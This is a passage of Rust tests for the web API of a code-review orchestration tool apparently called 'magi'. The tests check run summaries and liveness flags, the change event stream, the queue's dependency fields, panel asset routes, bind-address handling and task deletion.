6991        assert_eq!(row["done"], true);
6992        assert_eq!(row["title"], "Add a web UI");
6993        assert_eq!(row["repo_name"], "magi");
6994        assert_eq!(row["judges"], 3);
6995        assert_eq!(row["winner"], Value::Null);
6996        assert_eq!(row["reviews"], 0);
6997
6998        // The short id resolves, and the detail route is the state itself, not
6999        // a projection of it: the UI reads fields the summary does not carry.
7000        let detail = f.get("/api/runs/a1b2").await;
7001        assert_eq!(detail.status, 200);
7002        assert_eq!(detail.json()["base_branch"], "main");
7003        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7004    }
7005
7006    /// `status: "ready"` alone cannot tell a run still headed for a landing
7007    /// (a PR closed without merging, say) apart from one `[merge] mode =
7008    /// "none"` left unmerged for good — the confusion the operator flagged
7009    /// after the CLI report already grew a `not landed — nothing to do by
7010    /// design` line for exactly this case (`report.rs`). Both the list route
7011    /// and the detail route must carry a flag the phone can key on instead of
7012    /// re-deriving it from `status` + `merge.mode` itself.
7013    #[tokio::test]
7014    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
7015        let f = Fixture::start().await;
7016
7017        let mut none_run = RunState::new(
7018            PathBuf::from("/repo/magi"),
7019            "main".to_owned(),
7020            "0123456789abcdef".to_owned(),
7021            "Add a web UI".to_owned(),
7022            Config::default(),
7023        );
7024        none_run.id = "20260902-140503-none".to_owned();
7025        none_run.status = RunStatus::Ready;
7026        none_run.merge = Some(crate::run::MergeOutcome {
7027            mode: crate::config::MergeMode::None,
7028            ok: true,
7029            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7030        });
7031        write_state(&f.runs(), &none_run);
7032
7033        let mut pr_run = RunState::new(
7034            PathBuf::from("/repo/magi"),
7035            "main".to_owned(),
7036            "0123456789abcdef".to_owned(),
7037            "Add a web UI".to_owned(),
7038            Config::default(),
7039        );
7040        pr_run.id = "20260902-140504-prcl".to_owned();
7041        pr_run.status = RunStatus::Ready;
7042        pr_run.merge = Some(crate::run::MergeOutcome {
7043            mode: crate::config::MergeMode::Pr,
7044            ok: false,
7045            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7046        });
7047        write_state(&f.runs(), &pr_run);
7048
7049        let summary = f.get("/api/runs").await.json();
7050        let rows: std::collections::HashMap<&str, &Value> = summary
7051            .as_array()
7052            .expect("an array")
7053            .iter()
7054            .map(|r| (r["id"].as_str().expect("an id"), r))
7055            .collect();
7056        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7057        assert_eq!(
7058            rows[none_run.id.as_str()]["unmerged_by_design"],
7059            true,
7060            "a mode-none Ready must be flagged in the list"
7061        );
7062        assert_eq!(
7063            rows[pr_run.id.as_str()]["unmerged_by_design"],
7064            false,
7065            "a Ready reached by a closed pull request is a different case"
7066        );
7067
7068        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7069        assert_eq!(none_detail["status"], "ready");
7070        assert_eq!(none_detail["unmerged_by_design"], true);
7071
7072        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7073        assert_eq!(pr_detail["unmerged_by_design"], false);
7074    }
7075
7076    /// `RunState::active` is only ever cleared by whoever populated it, so the
7077    /// detail route also has to say whether a daemon is actually still
7078    /// driving this run right now — otherwise a seat from a killed process's
7079    /// last wave would read as live forever.
7080    #[tokio::test]
7081    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7082        let f = Fixture::start().await;
7083        // Matches `write_daemon`'s hard-coded `current.run`, so the second
7084        // half of this test can claim the daemon is working on it without a
7085        // second helper.
7086        let id = "20260902-140502-bbbb";
7087        let mut state = RunState::new(
7088            PathBuf::from("/repo/magi"),
7089            "main".to_owned(),
7090            "0123456789abcdef".to_owned(),
7091            "Add a web UI".to_owned(),
7092            Config::default(),
7093        );
7094        state.id = id.to_owned();
7095        state.status = RunStatus::Judging;
7096        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7097        let dir = f.runs().join(id);
7098        std::fs::create_dir_all(&dir).expect("run dir");
7099        std::fs::write(
7100            dir.join("run.json"),
7101            serde_json::to_string_pretty(&state).expect("serialize run"),
7102        )
7103        .expect("write run.json");
7104
7105        // No daemon.json at all, and no `driver_pid` recorded either (this
7106        // state was written directly, never through `execute()`): there is
7107        // nothing to confirm either way, so the route must say `"unknown"` —
7108        // never `"dead"`, which is exactly the false diagnosis a manual `magi
7109        // run` used to get from this route before `driver_pid` existed.
7110        let cold = f.get(&format!("/api/runs/{id}")).await.json();
7111        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7112        assert_eq!(cold["live"], "unknown", "{cold}");
7113
7114        // A fresh heartbeat naming exactly this run: the same entry now reads
7115        // as confirmed, not merely recorded.
7116        write_daemon(f.home.path(), Timestamp::now());
7117        let warm = f.get(&format!("/api/runs/{id}")).await.json();
7118        assert_eq!(warm["live"], "live", "{warm}");
7119    }
7120
7121    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
7122    /// review` claims no daemon at all, so before this field existed the
7123    /// route above read it as `"dead"` — indistinguishable from a run a
7124    /// killed process abandoned — the whole time it was genuinely still
7125    /// answering. With a live pid recorded, it must read `"live"` even
7126    /// though no daemon claims it.
7127    #[tokio::test]
7128    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7129        let f = Fixture::start().await;
7130        let id = "20260922-090000-cccc";
7131        let mut state = RunState::new(
7132            PathBuf::from("/repo/magi"),
7133            "main".to_owned(),
7134            "0123456789abcdef".to_owned(),
7135            "Review only".to_owned(),
7136            Config::default(),
7137        );
7138        state.id = id.to_owned();
7139        state.status = RunStatus::Reviewing;
7140        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7141        // This test process's own pid: guaranteed alive, and never needs a
7142        // real daemon or a second process to prove it. The matching start-time
7143        // marker is what `liveness` now requires alongside a live pid — see
7144        // `RunState::driver_started_at`'s own doc for why the pid alone is
7145        // not enough.
7146        state.driver_pid = Some(std::process::id());
7147        state.driver_started_at = Some(
7148            crate::proc::process_started_at(std::process::id())
7149                .expect("this test process's own start time must be queryable"),
7150        );
7151        let dir = f.runs().join(id);
7152        std::fs::create_dir_all(&dir).expect("run dir");
7153        std::fs::write(
7154            dir.join("run.json"),
7155            serde_json::to_string_pretty(&state).expect("serialize run"),
7156        )
7157        .expect("write run.json");
7158
7159        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7160        assert_eq!(detail["live"], "live", "{detail}");
7161    }
7162
7163    /// A killed manual run's pid can be handed to a wholly unrelated later
7164    /// process — a live query on `driver_pid` alone would read this as
7165    /// `"live"`, exactly the false positive `driver_started_at` exists to
7166    /// catch (see that field's own doc, and `RunState::liveness_with`'s
7167    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
7168    #[tokio::test]
7169    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7170        let f = Fixture::start().await;
7171        let id = "20260922-090100-dddd";
7172        let mut state = RunState::new(
7173            PathBuf::from("/repo/magi"),
7174            "main".to_owned(),
7175            "0123456789abcdef".to_owned(),
7176            "Review only".to_owned(),
7177            Config::default(),
7178        );
7179        state.id = id.to_owned();
7180        state.status = RunStatus::Reviewing;
7181        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7182        // This test process's own pid really is alive, but the marker
7183        // recorded here does not match what it actually started at —
7184        // standing in for the pid having since been reused by a different
7185        // process than the one that wrote `run.json`.
7186        state.driver_pid = Some(std::process::id());
7187        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7188        let dir = f.runs().join(id);
7189        std::fs::create_dir_all(&dir).expect("run dir");
7190        std::fs::write(
7191            dir.join("run.json"),
7192            serde_json::to_string_pretty(&state).expect("serialize run"),
7193        )
7194        .expect("write run.json");
7195
7196        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7197        assert_eq!(detail["live"], "dead", "{detail}");
7198    }
7199
7200    /// The deck's competition list is normally the first place an operator
7201    /// sees an old run. It must carry the same process verdict as detail, or
7202    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
7203    #[test]
7204    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
7205        let mk = |id: &str, pid: Option<u32>| {
7206            let mut s = RunState::new(
7207                PathBuf::from("/repo/magi"),
7208                "main".to_owned(),
7209                "0123456789abcdef".to_owned(),
7210                "Add a web UI".to_owned(),
7211                Config::default(),
7212            );
7213            s.id = id.to_owned();
7214            s.driver_pid = pid;
7215            s.driver_started_at = Some("t0".to_owned());
7216            s
7217        };
7218        let states = vec![
7219            mk("20260902-140502-aaaa", Some(77)),
7220            mk("20260902-140502-bbbb", Some(77)),
7221            mk("20260902-140502-cccc", Some(77)),
7222            mk("20260902-140502-dddd", None),
7223        ];
7224        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
7225        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
7226        let sup: HashMap<String, String> = [(
7227            "20260902-140502-aaaa".to_owned(),
7228            "20260902-140502-cccc".to_owned(),
7229        )]
7230        .into();
7231
7232        let status_calls = std::cell::Cell::new(0);
7233        let identity_calls = std::cell::Cell::new(0);
7234        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
7235            |_| {
7236                status_calls.set(status_calls.get() + 1);
7237                Some(true)
7238            },
7239            |_| {
7240                identity_calls.set(identity_calls.get() + 1);
7241                Some("t0".to_owned())
7242            },
7243        ));
7244        let rows = summarize(
7245            states,
7246            &open,
7247            &claimed,
7248            &sup,
7249            |p| probe.borrow_mut().status(p),
7250            |p| probe.borrow_mut().started_at(p),
7251        );
7252
7253        assert_eq!(status_calls.get(), 1, "one pid, one status query");
7254        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
7255        assert_eq!(rows.len(), 4);
7256        assert!(!rows[0].waiting && rows[1].waiting);
7257        assert_eq!(rows[0].live, crate::run::Liveness::Live);
7258        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
7259        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
7260        assert_eq!(rows[1].superseded_by, None);
7261    }
7262
7263    #[test]
7264    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7265        let mut state = RunState::new(
7266            PathBuf::from("/repo/magi"),
7267            "main".to_owned(),
7268            "0123456789abcdef".to_owned(),
7269            "Review only".to_owned(),
7270            Config::default(),
7271        );
7272        state.id = "20260922-090200-dead".to_owned();
7273        state.status = RunStatus::Reviewing;
7274        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7275            .expect("serialize list row");
7276        assert_eq!(row["status"], "reviewing");
7277        assert_eq!(row["live"], "dead", "{row}");
7278        assert!(!row["done"].as_bool().unwrap());
7279    }
7280
7281    #[tokio::test]
7282    async fn the_run_list_is_newest_first_and_honours_a_limit() {
7283        let f = Fixture::start().await;
7284        for id in [
7285            "20260902-140501-aaaa",
7286            "20260902-140502-bbbb",
7287            "20260902-140503-cccc",
7288        ] {
7289            write_run(&f.runs(), id, RunStatus::Merged);
7290        }
7291
7292        let all = f.get("/api/runs").await.json();
7293        let capped = f.get("/api/runs?limit=2").await.json();
7294
7295        assert_eq!(all[0]["id"], "20260902-140503-cccc");
7296        assert_eq!(all.as_array().map(Vec::len), Some(3));
7297        assert_eq!(capped.as_array().map(Vec::len), Some(2));
7298        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7299    }
7300
7301    #[tokio::test]
7302    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7303        let f = Fixture::start().await;
7304        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7305
7306        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7307
7308        assert_eq!(res.status, 200);
7309        assert!(
7310            res.headers
7311                .contains("content-type: text/plain; charset=utf-8"),
7312            "a browser must render it, not download it: {}",
7313            res.headers
7314        );
7315        // The assertion is on content, not on the absence of escapes: colour
7316        // is a process-global that `serve` turns off at startup, and another
7317        // test in this binary may own it while this one runs.
7318        assert!(
7319            res.body.contains("20260902-140501-a1b2"),
7320            "the report is about the run that was asked for: {}",
7321            res.body
7322        );
7323    }
7324
7325    #[tokio::test]
7326    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7327        let f = Fixture::start().await;
7328
7329        let html = f.get("/").await;
7330        let css = f.get("/app.css").await;
7331        let js = f.get("/app.js").await;
7332
7333        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7334        assert!(
7335            html.headers
7336                .contains("content-type: text/html; charset=utf-8")
7337        );
7338        assert!(css.headers.contains("content-type: text/css"));
7339        assert!(js.headers.contains("content-type: text/javascript"));
7340        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7341    }
7342
7343    #[test]
7344    fn review_rounds_label_a_distinct_verified_head() {
7345        assert!(APP_JS.contains("round.verified_head"));
7346        assert!(APP_JS.contains("verified HEAD"));
7347        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7348    }
7349
7350    #[test]
7351    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7352        // A blocked task's chip and note must not fall back to a queued-like
7353        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
7354        // itself by e11fc58 but never checked here.
7355        assert!(APP_JS.contains("blocked: { glyph:"));
7356        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7357
7358        // `blocked_by` mixes task ids and question ids in the same list, and
7359        // the client can only tell them apart by checking each id against
7360        // what it actually knows - never by guessing from the id's shape.
7361        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7362        assert!(
7363            APP_JS.contains(
7364                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7365            ),
7366            "the note line must name what a blocked task is waiting on, not just that it is blocked"
7367        );
7368        // The classification must key off `status_str`, never off `blocked_by`
7369        // or `block_reason` merely being present - both can survive briefly
7370        // on a task a hold or a dead daemon just moved off `blocked`.
7371        assert!(APP_JS.contains("if (status === \"blocked\") {"));
7372
7373        // A question a task is blocked on gets its own node in the same
7374        // dependency graph, not just a task-shaped node with nothing known
7375        // about it.
7376        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7377        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7378        assert!(
7379            APP_JS.contains("location.hash = \"#/questions\";"),
7380            "a question node must jump to the Questions screen, not pretend to be a task"
7381        );
7382
7383        // `Task::answers` - decisions already made - are shown as a record on
7384        // the card, the same disclosure style as the full instruction.
7385        assert!(APP_JS.contains("Resolved questions"));
7386        assert!(APP_JS.contains("r.answersList.append("));
7387        assert!(APP_CSS.contains(".task-answers"));
7388    }
7389
7390    #[test]
7391    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7392        assert!(
7393            APP_JS.contains("round.verified_head !== round.head"),
7394            "a round that verified an earlier commit must be visibly distinct from one that \
7395             verified the head reviewers are looking at now"
7396        );
7397        assert!(
7398            APP_JS.contains("round.verified_at"),
7399            "when a check ran must be on the wire, not just which commit"
7400        );
7401        assert!(
7402            APP_JS.contains("resource_blocked"),
7403            "a command magi never got to run (shared build cache contention) must not render \
7404             the same as a command that ran and failed"
7405        );
7406    }
7407
7408    #[tokio::test]
7409    async fn the_change_stream_announces_the_current_revisions_on_connect() {
7410        let f = Fixture::start().await;
7411
7412        let mut socket = tokio::net::TcpStream::connect(f.addr)
7413            .await
7414            .expect("connect");
7415        socket
7416            .write_all(
7417                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7418            )
7419            .await
7420            .expect("write request");
7421
7422        // Read until the first event arrives rather than to end of stream: the
7423        // stream is endless by design, which is the point of the route.
7424        let mut seen = String::new();
7425        let mut buf = [0u8; 1024];
7426        while !seen.contains("event: change") {
7427            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7428                .await
7429                .expect("the stream must speak within five seconds")
7430                .expect("read");
7431            assert!(read > 0, "the server closed the change stream: {seen}");
7432            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7433        }
7434
7435        assert!(
7436            seen.to_lowercase()
7437                .contains("content-type: text/event-stream"),
7438            "the browser only reconnects automatically for a real SSE stream: {seen}"
7439        );
7440        let data = seen
7441            .lines()
7442            .find_map(|l| l.strip_prefix("data:"))
7443            .expect("a data line");
7444        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7445        assert!(
7446            payload["queue_rev"].is_u64()
7447                && payload["runs_rev"].is_u64()
7448                && payload["questions_rev"].is_u64()
7449                && payload["talks_rev"].is_u64()
7450                && payload["loop_rev"].is_u64(),
7451            "the client needs one revision per store to know what to refetch, \
7452             and `talks_rev` is the only notification a standing talk gets - a \
7453             phone whose radio slept through a turn learns about it here, as \
7454             does one whose operator started the loop from another device: \
7455             {payload}"
7456        );
7457
7458        // The front end re-polls health on a timer and on wake, and takes the
7459        // revisions from that answer whenever the stream is not up. So health
7460        // has to carry every key the stream carries: a phone on a link that
7461        // will not hold an SSE connection is exactly the phone that must still
7462        // notice a question, and a missing key there is not a 500 but a UI
7463        // that quietly stops updating.
7464        let health = f.get("/api/health").await.json();
7465        for key in [
7466            "queue_rev",
7467            "runs_rev",
7468            "questions_rev",
7469            "talks_rev",
7470            "loop_rev",
7471        ] {
7472            assert!(
7473                health[key].is_u64(),
7474                "health is the change stream's fallback and is missing `{key}`: {health}"
7475            );
7476        }
7477    }
7478
7479    #[tokio::test]
7480    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7481        let f = Fixture::start().await;
7482        let before = f.get("/api/health").await.json()["talks_rev"]
7483            .as_u64()
7484            .expect("talks_rev");
7485
7486        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7487        std::thread::sleep(Duration::from_millis(10));
7488        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7489        on_disk.turns.push(crate::talk::Turn {
7490            who: crate::talk::Who::Operator,
7491            body: "a new turn".to_owned(),
7492            at: Timestamp::now(),
7493            attachments: Vec::new(),
7494        });
7495        f.talks().put(&mut on_disk).expect("record a turn");
7496
7497        let after = f.get("/api/health").await.json()["talks_rev"]
7498            .as_u64()
7499            .expect("talks_rev");
7500        assert_ne!(
7501            before, after,
7502            "a phone must be able to notice a talk's reply without polling every store"
7503        );
7504    }
7505
7506    #[test]
7507    fn bind_reads_back_from_the_spelling_the_cli_prints() {
7508        // The CLI shows the default in `--help` and parses whatever comes
7509        // back, so the two directions have to agree or `--bind auto` breaks
7510        // the moment someone copies the help text.
7511        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7512            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7513        }
7514        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7515        assert!("everywhere".parse::<Bind>().is_err());
7516    }
7517
7518    #[test]
7519    fn an_explicit_bind_address_is_taken_verbatim() {
7520        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7521
7522        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7523
7524        assert_eq!(addr, asked);
7525        assert!(
7526            warning.is_none(),
7527            "an operator who named an address gets no lecture"
7528        );
7529    }
7530
7531    #[test]
7532    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7533        let (addr, warning) = resolve_bind(&Bind::Auto);
7534
7535        // This has to hold on a CI runner with no `tailscale` and on a dev box
7536        // with one, so the invariant asserted is the one shared by both
7537        // outcomes: the address is either a real tailnet address offered
7538        // without comment, or loopback with an explanation. What must never
7539        // happen is a silent fallback - an operator told "listening on
7540        // 127.0.0.1" with no reason would go looking for a firewall.
7541        match addr {
7542            IpAddr::V4(ip) if is_tailnet(&ip) => {
7543                assert!(warning.is_none(), "a tailnet address needs no warning");
7544            }
7545            other => {
7546                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7547                let warning = warning.expect("a fallback has to explain itself");
7548                assert!(
7549                    warning.contains("127.0.0.1") && warning.contains("local-only"),
7550                    "the warning says what happened and what it costs: {warning}"
7551                );
7552            }
7553        }
7554    }
7555
7556    #[test]
7557    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7558        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
7559        // boundary cases are what stop us binding to some other tool's idea of
7560        // an address.
7561        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7562        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7563        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7564        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7565        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7566    }
7567
7568    #[test]
7569    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7570        let ids = vec![
7571            "20260902-140501-aaaa".to_owned(),
7572            "20260902-140502-aabb".to_owned(),
7573        ];
7574
7575        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7576        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7577        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7578
7579        assert_eq!(missing.status, StatusCode::NOT_FOUND);
7580        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7581        assert_eq!(short, "20260902-140502-aabb");
7582    }
7583    #[tokio::test]
7584    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7585        // The prompt tells agents to reference attachments by bare filename.
7586        // A document served at `.../panel` resolves `shot.png` against its own
7587        // directory, i.e. `.../shot.png`, which is not the asset route - so a
7588        // panel written exactly as instructed showed broken images. Caught by
7589        // looking at a real one in a browser, not by reading the code.
7590        let fx = Fixture::start().await;
7591        let id = panel(
7592            &fx,
7593            "<img src=\"shot.png\">",
7594            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7595        );
7596
7597        // The frame's own URL ends in a filename, so its siblings are reachable.
7598        let doc = fx
7599            .get(&format!("/api/questions/{id}/panel/index.html"))
7600            .await;
7601        assert_eq!(doc.status, 200, "{}", doc.body);
7602        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7603
7604        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7605        assert_eq!(sibling.status, 200, "{}", sibling.body);
7606        assert_eq!(sibling.header("content-type"), Some("image/png"));
7607        assert_eq!(
7608            sibling.header("content-security-policy"),
7609            Some(PANEL_CSP),
7610            "the sibling route must carry the same policy as the asset route"
7611        );
7612
7613        // The original spelling keeps working: HEAD on it is how the front end
7614        // decides whether to mount a frame at all.
7615        assert_eq!(
7616            fx.head(&format!("/api/questions/{id}/panel")).await.status,
7617            200
7618        );
7619    }
7620
7621    #[test]
7622    fn runs_revision_moves_when_deleting_an_older_run() {
7623        let temp = TempDir::new().expect("tempdir");
7624        let runs = temp.path().join("runs");
7625        std::fs::create_dir_all(&runs).expect("create runs dir");
7626
7627        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7628
7629        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7630        std::thread::sleep(Duration::from_millis(10));
7631        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7632
7633        let rev_before = runs_revision(&runs);
7634        assert!(rev_before > 0);
7635
7636        let old_dir = runs.join("20260901-100000-old1");
7637        std::fs::remove_dir_all(&old_dir).expect("remove old run");
7638
7639        let rev_after = runs_revision(&runs);
7640        assert_ne!(
7641            rev_before, rev_after,
7642            "deleting an older run must change the revision so other clients see the deletion"
7643        );
7644    }
7645
7646    /// A run's own `run.json` on an explicit `runs` root, bypassing the
7647    /// process-global home entirely — `RunState::save` writes through
7648    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
7649    /// (see `tests::home_lock` in the integration suite for why).
7650    fn write_state(runs: &FsPath, state: &RunState) {
7651        let dir = runs.join(&state.id);
7652        std::fs::create_dir_all(&dir).expect("run dir");
7653        std::fs::write(
7654            dir.join("run.json"),
7655            serde_json::to_string_pretty(state).expect("serialize run"),
7656        )
7657        .expect("write run.json");
7658    }
7659
7660    /// A seat starting or finishing is a write to `run.json` like any other,
7661    /// so it moves the same revision the change stream already watches —
7662    /// nothing new for `/api/events` to learn, but the property this feature
7663    /// depends on to reach the phone without a poll.
7664    #[test]
7665    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7666        let temp = TempDir::new().expect("tempdir");
7667        let runs = temp.path().join("runs");
7668        std::fs::create_dir_all(&runs).expect("create runs dir");
7669        let mut state = RunState::new(
7670            PathBuf::from("/repo/magi"),
7671            "main".to_owned(),
7672            "0123456789abcdef".to_owned(),
7673            "task".to_owned(),
7674            Config::default(),
7675        );
7676        state.id = "20260902-100000-c0de".to_owned();
7677        write_state(&runs, &state);
7678
7679        let rev_idle = runs_revision(&runs);
7680        std::thread::sleep(Duration::from_millis(10));
7681        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7682        write_state(&runs, &state);
7683        let rev_started = runs_revision(&runs);
7684        assert_ne!(
7685            rev_idle, rev_started,
7686            "a seat starting must move the revision"
7687        );
7688
7689        std::thread::sleep(Duration::from_millis(10));
7690        state.seat_finished("judge-1");
7691        write_state(&runs, &state);
7692        let rev_finished = runs_revision(&runs);
7693        assert_ne!(
7694            rev_started, rev_finished,
7695            "and clearing it again must move the revision a second time"
7696        );
7697    }
7698
7699    #[tokio::test]
7700    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7701        // `TaskView` flattens `Task`, so this is really asserting that
7702        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
7703        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
7704        // never touched web.rs, so nothing here caught it if it had.
7705        let fx = Fixture::start().await;
7706        let q = fx.queue();
7707
7708        let mut t = Task::new(
7709            "Task".to_owned(),
7710            "Instruction".to_owned(),
7711            PathBuf::from("/repo"),
7712            Source::Human,
7713        );
7714        t.block(
7715            vec!["20260101-000000-dead".to_owned()],
7716            Some("waiting on Task 1".to_owned()),
7717        );
7718        t.answers.push(crate::queue::AnsweredQuestion {
7719            question: "Which backend?".to_owned(),
7720            answer: "SQLite".to_owned(),
7721        });
7722        q.put(&mut t).expect("put t");
7723
7724        let res = fx.get("/api/queue").await;
7725        assert_eq!(res.status, 200);
7726        let list = res.json();
7727        let view = list
7728            .as_array()
7729            .expect("array")
7730            .iter()
7731            .find(|v| v["id"] == t.id)
7732            .expect("task in list");
7733        assert_eq!(view["status_str"], "blocked");
7734        assert_eq!(
7735            view["blocked_by"],
7736            serde_json::json!(["20260101-000000-dead"])
7737        );
7738        assert_eq!(view["block_reason"], "waiting on Task 1");
7739        assert_eq!(view["answers"][0]["question"], "Which backend?");
7740        assert_eq!(view["answers"][0]["answer"], "SQLite");
7741
7742        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
7743        // but never `answers` - that is a settled decision, not state
7744        // describing the current block, so it survives.
7745        let res = fx
7746            .post(&format!("/api/queue/{}/hold", t.short()), None)
7747            .await;
7748        assert_eq!(res.status, 200);
7749        let held = res.json();
7750        assert_eq!(held["status_str"], "held");
7751        assert_eq!(held["blocked_by"], serde_json::json!([]));
7752        assert!(held["block_reason"].is_null());
7753        assert_eq!(held["answers"][0]["answer"], "SQLite");
7754    }
7755
7756    #[tokio::test]
7757    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
7758        let fx = Fixture::start().await;
7759        let q = fx.queue();
7760        let mk = |title: &str| {
7761            Task::new(
7762                title.to_owned(),
7763                "Instruction".to_owned(),
7764                PathBuf::from("/repo"),
7765                Source::Human,
7766            )
7767        };
7768        let mut root = mk("root");
7769        root.hold_manual(Some("waiting".to_owned()));
7770        q.put(&mut root).unwrap();
7771        let mut mid = mk("mid");
7772        mid.block(vec![root.id.clone()], None);
7773        q.put(&mut mid).unwrap();
7774        let mut leaf = mk("leaf");
7775        leaf.block(vec![mid.id.clone()], None);
7776        q.put(&mut leaf).unwrap();
7777
7778        let list = fx.get("/api/queue").await.json();
7779        let find = |id: &str| {
7780            list.as_array()
7781                .unwrap()
7782                .iter()
7783                .find(|v| v["id"] == id)
7784                .unwrap()
7785                .clone()
7786        };
7787        let leaf_view = find(&leaf.id);
7788        assert_eq!(
7789            leaf_view["waits_on"],
7790            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
7791        );
7792        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
7793        assert_eq!(
7794            find(&mid.id)["waits_on"],
7795            serde_json::json!([format!("{} (held)", root.short())])
7796        );
7797        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
7798    }
7799
7800    #[tokio::test]
7801    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7802        let fx = Fixture::start().await;
7803        let q = fx.queue();
7804
7805        // 1. A queued task with runs attached can be deleted.
7806        let mut t1 = Task::new(
7807            "Task 1".to_owned(),
7808            "Instruction 1".to_owned(),
7809            PathBuf::from("/repo"),
7810            Source::Human,
7811        );
7812        let run_id = "20260901-000000-r111";
7813        t1.runs.push(run_id.to_owned());
7814        write_run(&fx.runs(), run_id, RunStatus::Merged);
7815        q.put(&mut t1).expect("put t1");
7816
7817        // Delete by short id
7818        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7819        assert_eq!(res.status, 204);
7820        assert!(res.body.is_empty(), "204 No Content has no body");
7821        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7822        assert!(
7823            fx.runs().join(run_id).exists(),
7824            "run directory must not be deleted when its task is deleted"
7825        );
7826
